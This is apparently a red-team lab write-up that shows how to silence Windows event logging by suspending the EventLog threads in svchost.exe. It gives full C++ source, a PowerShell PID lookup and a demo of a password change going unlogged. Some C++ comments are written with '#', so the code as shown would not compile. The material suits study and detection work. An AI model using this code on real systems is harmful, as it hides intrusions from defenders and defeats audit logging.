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Red Teaming Experiments
  • What is this iRed.team?
  • Pinned
    • Pentesting Cheatsheets
      • SQL Injection & XSS Playground
    • Active Directory & Kerberos Abuse
      • From Domain Admin to Enterprise Admin
      • Kerberoasting
      • Kerberos: Golden Tickets
      • Kerberos: Silver Tickets
      • AS-REP Roasting
      • Kerberoasting: Requesting RC4 Encrypted TGS when AES is Enabled
      • Kerberos Unconstrained Delegation
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      • Kerberos Resource-based Constrained Delegation: Computer Object Take Over
      • Domain Compromise via DC Print Server and Kerberos Delegation
      • DCShadow - Becoming a Rogue Domain Controller
      • DCSync: Dump Password Hashes from Domain Controller
      • PowerView: Active Directory Enumeration
      • Abusing Active Directory ACLs/ACEs
      • Privileged Accounts and Token Privileges
      • From DnsAdmins to SYSTEM to Domain Compromise
      • Pass the Hash with Machine$ Accounts
      • BloodHound with Kali Linux: 101
      • Backdooring AdminSDHolder for Persistence
      • Active Directory Enumeration with AD Module without RSAT or Admin Privileges
      • Enumerating AD Object Permissions with dsacls
      • Active Directory Password Spraying
  • offensive security
    • Red Team Infrastructure
      • HTTP Forwarders / Relays
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      • Phishing with Modlishka Reverse HTTP Proxy
      • Automating Red Team Infrastructure with Terraform
      • Cobalt Strike 101
      • Powershell Empire 101
      • Spiderfoot 101 with Kali using Docker
    • Initial Access
      • Password Spraying Outlook Web Access: Remote Shell
      • Phishing with MS Office
        • Phishing: XLM / Macro 4.0
        • T1173: Phishing - DDE
        • T1137: Phishing - Office Macros
        • Phishing: OLE + LNK
        • Phishing: Embedded Internet Explorer
        • Phishing: .SLK Excel
        • Phishing: Replacing Embedded Video with Bogus Payload
        • Inject Macros from a Remote Dotm Template
        • Bypassing Parent Child / Ancestry Detections
        • Phishing: Embedded HTML Forms
      • Phishing with GoPhish and DigitalOcean
      • Forced Authentication
      • NetNTLMv2 hash stealing using Outlook
    • Code Execution
      • T1117: regsvr32
      • T1170: MSHTA
      • T1196: Control Panel Item
      • Executing Code as a Control Panel Item through an Exported Cplapplet Function
      • Code Execution through Control Panel Add-ins
      • T1191: CMSTP
      • T1118: InstallUtil
      • Using MSBuild to Execute Shellcode in C#
      • T1202: Forfiles Indirect Command Execution
      • Application Whitelisting Bypass with WMIC and XSL
      • Powershell Without Powershell.exe
      • Powershell Constrained Language Mode ByPass
      • Forcing Iexplore.exe to Load a Malicious DLL via COM Abuse
      • T1216: pubprn.vbs Signed Script Code Execution
    • Code & Process Injection
      • CreateRemoteThread Shellcode Injection
      • DLL Injection
      • Reflective DLL Injection
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      • Process Doppelganging
      • Loading and Executing Shellcode From PE Resources
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      • APC Queue Code Injection
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      • Shellcode Execution in a Local Process with QueueUserAPC and NtTestAlert
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      • Injecting to Remote Process via Thread Hijacking
      • SetWindowHookEx Code Injection
      • Finding Kernel32 Base and Function Addresses in Shellcode
      • Executing Shellcode with Inline Assembly in C/C++
      • Writing Custom Shellcode Encoders and Decoders
      • Backdooring PE Files with Shellcode
      • NtCreateSection + NtMapViewOfSection Code Injection
      • AddressOfEntryPoint Code Injection without VirtualAllocEx RWX
      • Module Stomping for Shellcode Injection
      • PE Injection: Executing PEs inside Remote Processes
      • API Monitoring and Hooking for Offensive Tooling
      • Windows API Hooking
      • Import Adress Table (IAT) Hooking
      • DLL Injection via a Custom .NET Garbage Collector
      • Writing and Compiling Shellcode in C
      • Injecting .NET Assembly to an Unmanaged Process
    • Defense Evasion
      • AV Bypass with Metasploit Templates and Custom Binaries
      • Evading Windows Defender with 1 Byte Change
      • Bypassing Windows Defender: One TCP Socket Away From Meterpreter and Beacon Sessions
      • Bypassing Cylance and other AVs/EDRs by Unhooking Windows APIs
      • Windows API Hashing in Malware
      • Detecting Hooked Syscalls
      • Calling Syscalls Directly from Visual Studio to Bypass AVs/EDRs
      • Retrieving ntdll Syscall Stubs from Disk at Run-time
      • Full DLL Unhooking with C++
      • Enumerating RWX Protected Memory Regions for Code Injection
      • Disabling Windows Event Logs by Suspending EventLog Service Threads
      • T1027: Obfuscated Powershell Invocations
      • Masquerading Processes in Userland via _PEB
      • Commandline Obfusaction
      • File Smuggling with HTML and JavaScript
      • T1099: Timestomping
      • T1096: Alternate Data Streams
      • T1158: Hidden Files
      • T1140: Encode/Decode Data with Certutil
      • Downloading Files with Certutil
      • T1045: Packed Binaries
      • Unloading Sysmon Driver
      • Bypassing IDS Signatures with Simple Reverse Shells
      • Preventing 3rd Party DLLs from Injecting into your Malware
      • ProcessDynamicCodePolicy: Arbitrary Code Guard (ACG)
      • Parent Process ID (PPID) Spoofing
      • Executing C# Assemblies from Jscript and wscript with DotNetToJscript
    • Enumeration and Discovery
      • Windows Event IDs and Others for Situational Awareness
      • Enumerating COM Objects and their Methods
      • Enumerating Users without net, Services without sc and Scheduled Tasks without schtasks
      • Enumerating Windows Domains with rpcclient through SocksProxy == Bypassing Command Line Logging
      • Dump GAL from OWA
      • T1010: Application Window Discovery
      • T1087: Account Discovery & Enumeration
      • Using COM to Enumerate Hostname, Username, Domain, Network Drives
      • Detecting Sysmon on the Victim Host
    • Privilege Escalation
      • T1134: Primary Access Token Manipulation
      • Windows NamedPipes 101 + Privilege Escalation
      • T1038: DLL Hijacking
      • T1108: WebShells
      • T1183: Image File Execution Options Injection
      • Unquoted Service Paths
      • Pass The Hash: Privilege Escalation with Invoke-WMIExec
      • Environment Variable $Path Interception
      • Weak Service Permissions
    • Credential Access & Dumping
      • Dumping Credentials from Lsass Process Memory with Mimikatz
      • Dumping Lsass Without Mimikatz
      • Dumping Lsass without Mimikatz with MiniDumpWriteDump
      • Dumping Hashes from SAM via Registry
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      • Dumping and Cracking mscash - Cached Domain Credentials
      • Dumping Domain Controller Hashes Locally and Remotely
      • Dumping Domain Controller Hashes via wmic and Vssadmin Shadow Copy
      • Network vs Interactive Logons
      • Reading DPAPI Encrypted Secrets with Mimikatz and C++
      • T1214: Credentials in Registry
      • T1174: Password Filter
      • Forcing WDigest to Store Credentials in Plaintext
      • Dumping Delegated Default Kerberos and NTLM Credentials w/o Touching Lsass
      • Intercepting Logon Credentials via Custom Security Support Provider and Authentication Packages
      • Pulling Web Application Passwords by Hooking HTML Input Fields
      • Intercepting Logon Credentials by Hooking msv1_0!SpAcceptCredentials
      • Credentials Collection via CredUIPromptForCredentials
    • Lateral Movement
      • T1028: WinRM for Lateral Movement
      • WinRS for Lateral Movement
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      • T1076: RDP Hijacking for Lateral Movement with tscon
      • T1051: Shared Webroot
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      • WMI + MSI Lateral Movement
      • Lateral Movement via Service Configuration Manager
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      • WMI + NewScheduledTaskAction Lateral Movement
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      • Simple TCP Relaying with NetCat
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      • Lateral Movement with Psexec
      • From Beacon to Interactive RDP Session
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    • Persistence
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      • T1053: Schtask
      • T1035: Service Execution
      • T1015: Sticky Keys
      • T1136: Create Account
      • T1013: AddMonitor()
      • T1128: NetSh Helper DLL
      • T1084: Abusing Windows Managent Instrumentation
        • WMI as a Data Storage
      • Windows Logon Helper
      • Hijacking Default File Extension
      • Persisting in svchost.exe with a Service DLL
      • Modifying .lnk Shortcuts
      • T1180: Screensaver Hijack
      • T1138: Application Shimming
      • T1197: BITS Jobs
      • T1122: COM Hijacking
      • T1198: SIP & Trust Provider Hijacking
      • T1209: Hijacking Time Providers
      • T1130: Installing Root Certificate
      • Powershell Profile Persistence
      • RID Hijacking
      • Word Library Add-Ins
      • Office Templates
    • Exfiltration
      • Powershell Payload Delivery via DNS using Invoke-PowerCloud
  • reversing, forensics & misc
    • Windows Internals
      • Configuring Kernel Debugging Environment with kdnet and WinDBG Preview
      • Compiling a Simple Kernel Driver, DbgPrint, DbgView
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      • Subscribing to Process Creation, Thread Creation and Image Load Notifications from a Kernel Driver
      • Listing Open Handles and Finding Kernel Object Addresses
      • Sending Commands From Your Userland Program to Your Kernel Driver using IOCTL
      • Windows Kernel Drivers 101
      • x64 Calling Convention: Stack Frame
      • System Service Descriptor Table - SSDT
      • Interrupt Descriptor Table - IDT
      • Token Abuse for Privilege Escalation in Kernel
      • Manipulating ActiveProcessLinks to Hide Processes in Userland
      • ETW: Event Tracing for Windows 101
      • Exploring Injected Threads
      • Parsing PE File Headers with C++
      • Instrumenting Windows APIs with Frida
      • Exploring Process Environment Block
    • Cloud
      • AWS Accounts, Users, Groups, Roles, Policies
    • Neo4j
    • Dump Virtual Box Memory
    • AES Encryption Using Crypto++ .lib in Visual Studio C++
    • Reversing Password Checking Routine
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  1. offensive security
  2. Defense Evasion

Disabling Windows Event Logs by Suspending EventLog Service Threads

PreviousEnumerating RWX Protected Memory Regions for Code InjectionNextT1027: Obfuscated Powershell Invocations

Last updated 4 years ago

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This lab was inspired by an old post by where he introduced a powershell tool , which disables Windows EventLog service by killing its threads hosted by the svchost.exe.

The purpose of this quick lab is to understand some of the inner workings of Invoke-Phant0m. In particular, I wanted to play around with Windows APIs related to retrieving a process ID that hosts a given service, thread enumeration, mapping threads to a particular service (Windows Eventlog in this case) hosted in the svchost.exe and so on. This would give me a better understanding of how I can target specific threads when I need to, I thought.

Although this lab was inspired by @hlldz' post, you will notice that we implemented the same technique in a slightly different way by levarging different Windows APIs.

Overview

Windows event logs are handled by EventLog service that is hosted by svchost.exe.

If we list svchost processes, we see a number of those:

From the above screenshot, it's not clear which process actually hosts the EventLog service, but if we keep inspecting svchost.exe processes one by one in Process Hacker, we will eventually find the process hosting the EventLog service, which in my case it is svchost.exe with pid 2196:

Note that we can find out the PID of the process that is hosting EventLog:

Get-WmiObject -Class win32_service -Filter "name = 'eventlog'" | select -exp ProcessId

If we look into svchost.exe threads for EventLog, we see there are a couple of threads of interest as highlighted in blue:

Below shows that indeed, suspending the threas is enough to disable the EventLog service from registering any new events:

Based on the above, the main goal of this lab is to hack some code to find these threads and simply suspend them and disable windows event logging this way.

Resuming threads will write out the events to the events log as if the threads had not been suspended in the first place.

Code

Below is the code for the technique that at a high level works like this:

  1. Open a handle to Service Control Manager with OpenSCManagerA

  2. Open a handle to EventLog service with OpenServiceA

  3. Retrieve svchost.exe (hosting EventLog) process ID with QueryServiceStatusEx

  4. Open a handle to the svchost.exe process (from step 3)

  5. Get a list of loaded modules loaded by svchost.exe EnumProcessModules

  6. Loop through the list of svchost loaded modules, retrieved in step 5, find their names with GetModuleBaseName and find the base address of the module wevtsvc.dll - this is the module containing EventLog service inner-workings

  7. Get wevtsvc.dll module info with GetModuleInformation. It will return a structure with module's start address and its image size - we will need these details later, when determiing if EventLog service thread's fall into wevtsvc.dll module's memory space

  8. Enumerate all the threads inside svchost.exe with Thread32First and Thread32Next

  9. For each thread from step 8, retrieve the thread's start address with NtQueryInformationThread

  10. For each thread from step 8, check if the thread's start address belongs to the wevtsvc.dll memory space inside svchost.exe

  11. If thread's start address is inside the wevtsvc.dll memory space, this is our victim thread and we suspend it with SuspendThread

  12. EventLog service is now disabled

#include <iostream>
#include <Windows.h>
#include <Psapi.h>
#include <TlHelp32.h>
#include <dbghelp.h>
#include <winternl.h>

#pragma comment(lib, "DbgHelp")

using myNtQueryInformationThread = NTSTATUS(NTAPI*)(
    IN HANDLE          ThreadHandle,
    IN THREADINFOCLASS ThreadInformationClass,
    OUT PVOID          ThreadInformation,
    IN ULONG           ThreadInformationLength,
    OUT PULONG         ReturnLength
    );

int main()
{
    HANDLE serviceProcessHandle;
    HANDLE snapshotHandle;
    HANDLE threadHandle;

    HMODULE modules[256] = {};
    SIZE_T modulesSize = sizeof(modules);
    DWORD modulesSizeNeeded = 0;
    DWORD moduleNameSize = 0;
    SIZE_T modulesCount = 0;
    WCHAR remoteModuleName[128] = {};
    HMODULE serviceModule = NULL;
    MODULEINFO serviceModuleInfo = {};
    DWORD_PTR threadStartAddress = 0;
    DWORD bytesNeeded = 0;

    myNtQueryInformationThread NtQueryInformationThread = (myNtQueryInformationThread)(GetProcAddress(GetModuleHandleA("ntdll"), "NtQueryInformationThread"));

    THREADENTRY32 threadEntry;
    threadEntry.dwSize = sizeof(THREADENTRY32);

    SC_HANDLE sc = OpenSCManagerA(".", NULL, MAXIMUM_ALLOWED);
    SC_HANDLE service = OpenServiceA(sc, "EventLog", MAXIMUM_ALLOWED);

    SERVICE_STATUS_PROCESS serviceStatusProcess = {};

    # Get PID of svchost.exe that hosts EventLog service
    QueryServiceStatusEx(service, SC_STATUS_PROCESS_INFO, (LPBYTE)&serviceStatusProcess, sizeof(serviceStatusProcess), &bytesNeeded);
    DWORD servicePID = serviceStatusProcess.dwProcessId;

    # Open handle to the svchost.exe
    serviceProcessHandle = OpenProcess(MAXIMUM_ALLOWED, FALSE, servicePID);
    snapshotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);

    # Get a list of modules loaded by svchost.exe
    EnumProcessModules(serviceProcessHandle, modules, modulesSize, &modulesSizeNeeded);
    modulesCount = modulesSizeNeeded / sizeof(HMODULE);
    for (size_t i = 0; i < modulesCount; i++)
    {
        serviceModule = modules[i];

        # Get loaded module's name
        GetModuleBaseName(serviceProcessHandle, serviceModule, remoteModuleName, sizeof(remoteModuleName));

        if (wcscmp(remoteModuleName, L"wevtsvc.dll") == 0)
        {
            printf("Windows EventLog module %S at %p\n\n", remoteModuleName, serviceModule);
            GetModuleInformation(serviceProcessHandle, serviceModule, &serviceModuleInfo, sizeof(MODULEINFO));
        }
    }

    # Enumerate threads
    Thread32First(snapshotHandle, &threadEntry);
    while (Thread32Next(snapshotHandle, &threadEntry))
    {
        if (threadEntry.th32OwnerProcessID == servicePID)
        {
            threadHandle = OpenThread(MAXIMUM_ALLOWED, FALSE, threadEntry.th32ThreadID);
            NtQueryInformationThread(threadHandle, (THREADINFOCLASS)0x9, &threadStartAddress, sizeof(DWORD_PTR), NULL);

            # Check if thread's start address is inside wevtsvc.dll memory range
            if (threadStartAddress >= (DWORD_PTR)serviceModuleInfo.lpBaseOfDll && threadStartAddress <= (DWORD_PTR)serviceModuleInfo.lpBaseOfDll + serviceModuleInfo.SizeOfImage)
            {
                printf("Suspending EventLog thread %d with start address %p\n", threadEntry.th32ThreadID, threadStartAddress);

                # Suspend EventLog service thread
                SuspendThread(threadHandle);
                Sleep(2000);
            }
        }
    }

    return 0;
}

Demo

Below GIF illustrates:

  • net user ola ola is executed and user's ola password is changed and an event 4724 logged at 6:55:30 PM

  • 4 EventLog threads are suspended in svchost.exe (PID 2196)

  • net user ola ola is executed again at 6:55:38 PM, but no new event 4724 is captured

References

Phant0m: Killing Windows Event Log
@hlldz
Invoke-Phant0m
https://artofpwn.com/phant0m-killing-windows-event-log.htmlartofpwn.com